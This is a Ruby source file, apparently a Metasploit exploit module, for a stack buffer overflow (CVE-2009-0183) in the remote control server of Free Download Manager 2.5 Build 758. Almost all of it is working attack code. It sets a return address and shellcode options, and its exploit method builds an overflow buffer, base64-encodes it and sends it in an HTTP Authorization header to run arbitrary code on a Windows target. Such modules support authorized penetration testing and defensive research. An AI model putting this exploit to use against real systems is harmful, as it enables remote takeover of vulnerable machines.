74 lines
2.3 KiB
Ruby
74 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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# w/auth required: [*] x.x.x.x ( 401-Basic realm="FDM Remote control server" )
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# w/o auth: <title>FDM remote control server</title>
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# w/o auth: <div align="right"><span class="style1"><span class="style4">Free Download Manager remote control server.</span><br />
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# <span class="style4">Version 1.0.</span> </span></div>
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# Extra url: /compdlds.req
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HttpFingerprint = { :pattern => [ /(FDM Remote control server|Free Download Manager)/i ] } # XXX: A custom body check would be nice too
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Free Download Manager Remote Control Server Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Free Download Manager
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Remote Control 2.5 Build 758. When sending a specially crafted
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Authorization header, an attacker may be able to execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2009-0183' ],
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[ 'OSVDB', '51745' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x0d\x0a",
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Privileged' => true,
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Free Download Manager 2.5 Build 758', { 'Ret' => 0x0040ae0f } ], # fdmwi.exe
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Feb 2 2009'))
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end
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def exploit
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sploit = rand_text_alpha_upper(1012 - payload.encoded.length) + payload.encoded
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sploit << [target.ret].pack('V') + make_nops(4) + [0xe8, -575].pack('CV')
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sploit = Rex::Text.encode_base64(sploit)
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print_status("Trying target #{target.name}...")
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send_request_raw(
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{
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'headers' => { 'Authorization' => "Basic #{sploit}" }
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}, 2)
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handler
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disconnect
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end
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end
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